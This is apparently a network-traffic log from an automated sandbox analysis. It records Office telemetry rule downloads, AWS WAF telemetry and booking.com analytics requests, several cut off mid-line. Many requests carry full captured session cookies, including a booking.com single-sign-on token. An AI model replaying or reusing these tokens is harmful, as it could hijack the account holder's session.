bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41373a352d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=33323324266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304335302732433235312530413c3036323b2d354627324b253d40273a3a6d6d253a302d30433b322732433235312530413c3036333b2d354627324b253d40273a3a6d6d253a302d304333313125324330373227304b363236373b253746253a432d37402d3a326d6d2d303a273241313131253241323730273a413432343e392737442d324b27374a2d32326d65273a302530433334372530433235312d304334303e383a27354c253a41273d4a253232656f2d303227324131363227324330353b273243363a373233253d442d30412d3d4225323a6f65273230253043313737253241303f362532413c323530332d354c27304b2d3542253a30656f253032273243313a372530413a353425304b343035333e253d46273d4c2662687b61576b6e66657a3d3333 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413432362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=38303624266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304333393a25324330373527304b363237343b253746253a432d37402d3a326d6d2d303a273241323238253241323737273a413432353f392737442d324b27374a2d32326d65273a302530433031372530433235342d3043343030303327354c253a41273d4a253232656f2d303227324132323527324330353e273243363a383034253d442d30412d3d4225323a6f65273230253043323330253241303f352532413c323a36342d354c27304b2d3542253a30656f2530322732433231382530413a353725304b34303a363e253d46273a4b2535422d303a6f6d27323025324330343427304b303737273a4336303938342d37462d3a4325354a273a306d6f25303225324132343b273a413237352d3241363231323827374c2d3243253d402d30326f6d2732322530433237362d304332353f253041343a393b35273d4c2532432d374a2732306d6f253232273243303730273243303f372730433c32313a302d3d4425324b273d402530326f6d253230253241303e302532413a373527324b343a3b3b302d3544253a412d37422732306d6d2530322530413a343525304b323535253a433c31323c3d2535442d304b2735402530326d6d27323227304b303638273a433035372d324b3631383e3025354c273a412537422732326d6f253230273a413237332d324130373f253a41363b383736253d462d30432735402532326f6d2530302d304332353b253041323f372d30413c3b3039322d374c2732412537422532306d6d27303a273243303f352730433a373f27304b3c33313331273d462530432735422530326d6f273a302532413a373527324b323f35273a4b3433313d362d37442732412535422732326f6f2d303225304b32353b253a433a35352d3a4334333934312735462530432535402532306f65273232273a43303a312d324b30353f2d3243343b333134253744273243253742253030656f2532302d324130383a253a41303f3f2532433c313a333427354625324327354227303a6f6d25303a2530413230342d30413a3f3725324b363b30343525374425354626626a716b5d696e666d783f3134 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqP
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413433372d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=34333624266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304330383725324330373727304b3633323530253746253a432d37402d3a326d6d2d303a273241323a36253241323735273a4134333031352737442d324b27374a2d32326d65273a302530433038372530433235352d304334313b343027354c253a41273d4a253232656f2d303227324132383827324330353f273243363b333531253d442d30412d3d4225323a6f6527323025304332383b253241303f352532413c333631342d354c27304b2d3542253a30656f253032273243323b302530413a353725304b3431363430253d46273a4b2535422d303a6f6d27323025324330393127304b303737273a4336313430322d37462d3a4325354a273a306d6f253032253241323930273a413237352d324136333c393027374c2d3243253d402d30326f6d273232253043323b312d304332353f253041343b353c37273d4c2532432d374a2732306d6f253232273243303b3c273243303f372730433c333d3b302d3d4425324b273d402530326f6d2532302532413031372532413a373527324b343b3432302d3544253d462e606871635d696e6467783d3137 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbd
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413430392d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; 